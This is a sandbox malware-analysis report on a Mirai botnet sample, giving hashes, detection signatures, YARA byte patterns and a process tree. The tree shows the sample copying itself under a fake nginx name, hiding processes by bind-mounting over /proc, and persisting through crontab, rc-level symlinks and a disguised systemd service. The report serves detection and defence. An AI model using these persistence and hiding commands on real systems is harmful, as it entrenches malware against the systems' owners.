Edit tour

Linux Analysis Report
mirai_nomi

Overview

General Information

Sample name:	mirai_nomi
Analysis ID:	1448016
MD5:	af965bb7d4a5c448931838bddfbcc302
SHA1:	c9ae044afe890e62b8c70fdb132647f1540958c2
SHA256:	83a2709a64f7d76f99af95dfa7416e1a0293cb2b1771bc3636392e05bcfabf3d
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Drops files in suspicious directories

Executes itself again with its parent PID as an argument (indicative of hampering debugging)

Executes the "crontab" command typically for achieving persistence

Performs DNS TXT record lookups

Sample tries to persist itself using System V runlevels

Sample tries to persist itself using cron

Sample tries to set files in /etc globally writable

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Sample contains only a LOAD segment without any section mappings

Sample tries to set the executable flag

Writes ELF files to disk

Writes shell script file to disk with an unusual file extension

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1448016
Start date and time:	2024-05-27 14:22:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 16.04 x64 (Kernel 4.4.0-116, Firefox 88.0, Document Viewer 3.18.2, LibreOffice 5.1.6.2, OpenJDK 1.8.0_171)
Analysis Mode:	default
Sample name:	mirai_nomi
Detection:	MAL
Classification:	mal100.troj.evad.lin@0/11@2/0

Runtime Messages

Command:	/tmp/mirai_nomi
PID:	4700
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	goodluck
Standard Error:

Process Tree

system is lnxubuntu1

mirai_nomi (PID: 4700, Parent: 4603, MD5: af965bb7d4a5c448931838bddfbcc302) Arguments: /tmp/mirai_nomi

mirai_nomi New Fork (PID: 4707, Parent: 4700)

cp (PID: 4707, Parent: 4700, MD5: b9c85244be9733bc79eca588db7bf306) Arguments: cp -f /tmp/mirai_nomi /var/tmp/nginx_kel

mirai_nomi New Fork (PID: 4708, Parent: 4700)

sh (PID: 4708, Parent: 4700, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "mount -o bind /tmp/nginx_server /proc/4700/ > /dev/null 2>&1"

sh New Fork (PID: 4709, Parent: 4708)

mount (PID: 4709, Parent: 4708, MD5: 6fb01f39948e8c15193d11e4d5bc40c1) Arguments: mount -o bind /tmp/nginx_server /proc/4700/

mirai_nomi New Fork (PID: 4733, Parent: 4700)

mirai_nomi New Fork (PID: 4737, Parent: 4733)

mirai_nomi New Fork (PID: 4739, Parent: 4737)

sh (PID: 4739, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4754, Parent: 4739)

ln (PID: 4754, Parent: 4739, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig

mirai_nomi New Fork (PID: 4768, Parent: 4737)

sh (PID: 4768, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4782, Parent: 4768)

ln (PID: 4782, Parent: 4768, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig

mirai_nomi New Fork (PID: 4812, Parent: 4737)

sh (PID: 4812, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4820, Parent: 4812)

ln (PID: 4820, Parent: 4812, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig

mirai_nomi New Fork (PID: 4832, Parent: 4737)

sh (PID: 4832, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4835, Parent: 4832)

ln (PID: 4835, Parent: 4832, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig

mirai_nomi New Fork (PID: 4844, Parent: 4737)

sh (PID: 4844, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4853, Parent: 4844)

ln (PID: 4853, Parent: 4844, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig

mirai_nomi New Fork (PID: 4858, Parent: 4737)

sh (PID: 4858, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4861, Parent: 4858)

ln (PID: 4861, Parent: 4858, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig

mirai_nomi New Fork (PID: 4876, Parent: 4737)

sh (PID: 4876, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4883, Parent: 4876)

ln (PID: 4883, Parent: 4876, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig

mirai_nomi New Fork (PID: 4891, Parent: 4737)

sh (PID: 4891, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4897, Parent: 4891)

ln (PID: 4897, Parent: 4891, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig

mirai_nomi New Fork (PID: 4914, Parent: 4737)

sh (PID: 4914, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 4918, Parent: 4914)

ln (PID: 4918, Parent: 4914, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig

mirai_nomi New Fork (PID: 4930, Parent: 4737)

sh (PID: 4930, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 4935, Parent: 4930)

ln (PID: 4935, Parent: 4930, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs

mirai_nomi New Fork (PID: 4948, Parent: 4737)

sh (PID: 4948, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 4950, Parent: 4948)

ln (PID: 4950, Parent: 4948, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs

mirai_nomi New Fork (PID: 4960, Parent: 4737)

sh (PID: 4960, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 4965, Parent: 4960)

ln (PID: 4965, Parent: 4960, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs

mirai_nomi New Fork (PID: 4972, Parent: 4737)

sh (PID: 4972, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 4978, Parent: 4972)

ln (PID: 4978, Parent: 4972, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs

mirai_nomi New Fork (PID: 4996, Parent: 4737)

sh (PID: 4996, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5000, Parent: 4996)

ln (PID: 5000, Parent: 4996, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs

mirai_nomi New Fork (PID: 5012, Parent: 4737)

sh (PID: 5012, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5017, Parent: 5012)

ln (PID: 5017, Parent: 5012, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs

mirai_nomi New Fork (PID: 5056, Parent: 4737)

sh (PID: 5056, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5084, Parent: 5056)

ln (PID: 5084, Parent: 5056, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs

mirai_nomi New Fork (PID: 5159, Parent: 4737)

sh (PID: 5159, Parent: 4737, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5165, Parent: 5159)

ln (PID: 5165, Parent: 5159, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs

mirai_nomi New Fork (PID: 4738, Parent: 4733)

sh (PID: 4738, Parent: 4733, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "crontab /var/tmp/.recoverys"

sh New Fork (PID: 4740, Parent: 4738)

crontab (PID: 4740, Parent: 4738, MD5: ff68fd30f0037fd7e9c1fdf5a035f739) Arguments: crontab /var/tmp/.recoverys

mirai_nomi New Fork (PID: 4805, Parent: 4733)

sh (PID: 4805, Parent: 4733, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "systemctl daemon-reload > /dev/null 2>&1"

sh New Fork (PID: 4810, Parent: 4805)

systemctl (PID: 4810, Parent: 4805, MD5: cd5a9cbd1cd03a1c3ae4b6016674d7c8) Arguments: systemctl daemon-reload

mirai_nomi New Fork (PID: 4890, Parent: 4733)

sh (PID: 4890, Parent: 4733, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "systemctl enable dnsconfigs.service > /dev/null 2>&1"

sh New Fork (PID: 4893, Parent: 4890)

systemctl (PID: 4893, Parent: 4890, MD5: cd5a9cbd1cd03a1c3ae4b6016674d7c8) Arguments: systemctl enable dnsconfigs.service

mirai_nomi New Fork (PID: 4981, Parent: 4733)

sh (PID: 4981, Parent: 4733, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "systemctl start dnsconfigs.service > /dev/null 2>&1"

sh New Fork (PID: 4983, Parent: 4981)

systemctl (PID: 4983, Parent: 4981, MD5: cd5a9cbd1cd03a1c3ae4b6016674d7c8) Arguments: systemctl start dnsconfigs.service

mirai_nomi New Fork (PID: 4734, Parent: 4700)

mirai_nomi New Fork (PID: 4735, Parent: 4734)

sh (PID: 4735, Parent: 4734, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "mount -o bind /tmp/nginx_server /proc/4734/ > /dev/null 2>&1"

sh New Fork (PID: 4741, Parent: 4735)

mount (PID: 4741, Parent: 4735, MD5: 6fb01f39948e8c15193d11e4d5bc40c1) Arguments: mount -o bind /tmp/nginx_server /proc/4734/

mirai_nomi New Fork (PID: 4811, Parent: 4734)

systemd New Fork (PID: 5020, Parent: 1)

nginx_kel (PID: 5020, Parent: 1, MD5: af965bb7d4a5c448931838bddfbcc302) Arguments: /var/tmp/nginx_kel sv

nginx_kel New Fork (PID: 5031, Parent: 5020)

cp (PID: 5031, Parent: 5020, MD5: b9c85244be9733bc79eca588db7bf306) Arguments: cp -f /var/tmp/nginx_kel /var/tmp/nginx_kel

nginx_kel New Fork (PID: 5032, Parent: 5020)

sh (PID: 5032, Parent: 5020, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "mount -o bind /tmp/nginx_server /proc/5020/ > /dev/null 2>&1"

sh New Fork (PID: 5033, Parent: 5032)

mount (PID: 5033, Parent: 5032, MD5: 6fb01f39948e8c15193d11e4d5bc40c1) Arguments: mount -o bind /tmp/nginx_server /proc/5020/

nginx_kel New Fork (PID: 5058, Parent: 5020)

nginx_kel New Fork (PID: 5060, Parent: 5058)

nginx_kel New Fork (PID: 5063, Parent: 5060)

sh (PID: 5063, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5065, Parent: 5063)

ln (PID: 5065, Parent: 5063, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig

nginx_kel New Fork (PID: 5102, Parent: 5060)

sh (PID: 5102, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5103, Parent: 5102)

ln (PID: 5103, Parent: 5102, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig

nginx_kel New Fork (PID: 5124, Parent: 5060)

sh (PID: 5124, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5125, Parent: 5124)

ln (PID: 5125, Parent: 5124, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig

nginx_kel New Fork (PID: 5130, Parent: 5060)

sh (PID: 5130, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5131, Parent: 5130)

ln (PID: 5131, Parent: 5130, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig

nginx_kel New Fork (PID: 5167, Parent: 5060)

sh (PID: 5167, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5168, Parent: 5167)

ln (PID: 5168, Parent: 5167, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig

nginx_kel New Fork (PID: 5169, Parent: 5060)

sh (PID: 5169, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5170, Parent: 5169)

ln (PID: 5170, Parent: 5169, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig

nginx_kel New Fork (PID: 5208, Parent: 5060)

sh (PID: 5208, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5209, Parent: 5208)

ln (PID: 5209, Parent: 5208, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig

nginx_kel New Fork (PID: 5229, Parent: 5060)

sh (PID: 5229, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5230, Parent: 5229)

ln (PID: 5230, Parent: 5229, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig

nginx_kel New Fork (PID: 5231, Parent: 5060)

sh (PID: 5231, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig > /dev/null 2>&1"

sh New Fork (PID: 5232, Parent: 5231)

ln (PID: 5232, Parent: 5231, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig

nginx_kel New Fork (PID: 5233, Parent: 5060)

sh (PID: 5233, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5234, Parent: 5233)

ln (PID: 5234, Parent: 5233, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs

nginx_kel New Fork (PID: 5247, Parent: 5060)

sh (PID: 5247, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5248, Parent: 5247)

ln (PID: 5248, Parent: 5247, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs

nginx_kel New Fork (PID: 5249, Parent: 5060)

sh (PID: 5249, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5250, Parent: 5249)

ln (PID: 5250, Parent: 5249, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs

nginx_kel New Fork (PID: 5251, Parent: 5060)

sh (PID: 5251, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5252, Parent: 5251)

ln (PID: 5252, Parent: 5251, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs

nginx_kel New Fork (PID: 5258, Parent: 5060)

sh (PID: 5258, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5259, Parent: 5258)

ln (PID: 5259, Parent: 5258, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs

nginx_kel New Fork (PID: 5266, Parent: 5060)

sh (PID: 5266, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5267, Parent: 5266)

ln (PID: 5267, Parent: 5266, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs

nginx_kel New Fork (PID: 5268, Parent: 5060)

sh (PID: 5268, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5269, Parent: 5268)

ln (PID: 5269, Parent: 5268, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs

nginx_kel New Fork (PID: 5295, Parent: 5060)

sh (PID: 5295, Parent: 5060, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs > /dev/null 2>&1"

sh New Fork (PID: 5296, Parent: 5295)

ln (PID: 5296, Parent: 5295, MD5: 564b3b87d22820f751289dc95e02b2c6) Arguments: ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs

nginx_kel New Fork (PID: 5061, Parent: 5058)

sh (PID: 5061, Parent: 5058, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "crontab /var/tmp/.recoverys"

sh New Fork (PID: 5062, Parent: 5061)

crontab (PID: 5062, Parent: 5061, MD5: ff68fd30f0037fd7e9c1fdf5a035f739) Arguments: crontab /var/tmp/.recoverys

nginx_kel New Fork (PID: 5154, Parent: 5058)

sh (PID: 5154, Parent: 5058, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "systemctl daemon-reload > /dev/null 2>&1"

sh New Fork (PID: 5155, Parent: 5154)

systemctl (PID: 5155, Parent: 5154, MD5: cd5a9cbd1cd03a1c3ae4b6016674d7c8) Arguments: systemctl daemon-reload

nginx_kel New Fork (PID: 5368, Parent: 5058)

sh (PID: 5368, Parent: 5058, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "systemctl enable dnsconfigs.service > /dev/null 2>&1"

sh New Fork (PID: 5369, Parent: 5368)

systemctl (PID: 5369, Parent: 5368, MD5: cd5a9cbd1cd03a1c3ae4b6016674d7c8) Arguments: systemctl enable dnsconfigs.service

nginx_kel New Fork (PID: 5410, Parent: 5058)

sh (PID: 5410, Parent: 5058, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "systemctl start dnsconfigs.service > /dev/null 2>&1"

sh New Fork (PID: 5411, Parent: 5410)

systemctl (PID: 5411, Parent: 5410, MD5: cd5a9cbd1cd03a1c3ae4b6016674d7c8) Arguments: systemctl start dnsconfigs.service

nginx_kel New Fork (PID: 5059, Parent: 5020)

sh (PID: 5059, Parent: 5020, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: sh -c "mount -o bind /tmp/nginx_server /proc/5020/ > /dev/null 2>&1"

sh New Fork (PID: 5064, Parent: 5059)

mount (PID: 5064, Parent: 5059, MD5: 6fb01f39948e8c15193d11e4d5bc40c1) Arguments: mount -o bind /tmp/nginx_server /proc/5020/

nginx_kel New Fork (PID: 5104, Parent: 5020)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
5058.1.0000000000400000.0000000000488000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5058.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x733a8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5058.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x6dcaa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6dd0e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6e005:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5058.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x76f22:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5058.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x737f9:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5058.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x73aef:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5058.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0xb702:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
4811.1.0000000000400000.0000000000488000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
4811.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x733a8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
4811.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x6dcaa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6dd0e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6e005:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
4811.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x76f22:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
4811.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x737f9:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
4811.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x73aef:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
4811.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0xb702:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
5104.1.0000000000400000.0000000000488000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5104.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x733a8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
